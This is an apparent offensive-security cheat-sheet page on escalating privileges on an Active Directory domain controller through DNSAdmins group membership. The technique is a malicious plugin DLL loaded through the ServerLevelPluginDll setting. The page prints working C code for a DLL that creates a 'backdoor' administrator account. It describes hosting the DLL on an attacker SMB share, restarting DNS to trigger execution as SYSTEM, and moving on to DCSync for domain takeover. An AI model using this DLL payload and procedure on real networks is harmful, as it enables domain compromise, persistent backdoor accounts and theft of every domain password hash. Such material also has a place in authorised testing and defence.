DNSAdmins Privilege Escalation
Members of the DNSAdmins group can configure the DNS service via RPC. One setting, ServerLevelPluginDll, specifies a DLL path the DNS service loads at startup. Because DNS runs as SYSTEM on domain controllers, loading a malicious DLL executes arbitrary code as SYSTEM without requiring Domain Admin rights first.
Confirm DNSAdmins membership
LDAP 10.10.10.10 389 DC01 DNSAdmins membercount: 2 member: CN=jsmith,CN=Users,DC=corp,DC=local
Create the malicious DLL
Build a DLL that runs a reverse shell or adds a local administrator. The DLL executes as SYSTEM on the DC when the DNS service loads it.
Cross-compiling from C produces a smaller DLL and triggers fewer AV detections than msfvenom:
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID r) {
if (reason == DLL_PROCESS_ATTACH) {
system("net user backdoor Password123! /add");
system("net localgroup administrators backdoor /add");
}
return TRUE;
}
Host the DLL via SMB
The DNS service reads the DLL from a UNC path. Serve it from Kali via impacket-smbserver so the DC pulls it over the network.
The plugin path for the DNS config will be \\$LHOST\share\dns_plugin.dll.
Configure the plugin and trigger
Run dnscmd.exe from a shell where the current token belongs to DNSAdmins. Restarting the DNS service triggers DLL load.
Registry property serverlevelplugindll successfully reset.
Stopping DNS briefly interrupts name resolution across the entire domain. If using a reverse shell payload, start the listener before restarting the service.
Cleanup
Remove the plugin path after execution to restore normal DNS operation and reduce artifacts.
With SYSTEM on the DC, proceed to DCSync and Domain Takeover to dump all domain hashes.
References
-
NetExec (nxc) — GitHubgithub.com/Pennyw0rth/NetExec (opens in new tab)
remote exec for dnscmd and DNS service control on domain controller
-
Impacket — GitHubgithub.com/fortra/impacket (opens in new tab)
smbserver for hosting DLL over SMB for DC to pull
-
BloodyAD — GitHubgithub.com/CravateRouge/bloodyAD (opens in new tab)
DNSAdmins group member enumeration
Was this helpful?
Your feedback helps improve this page.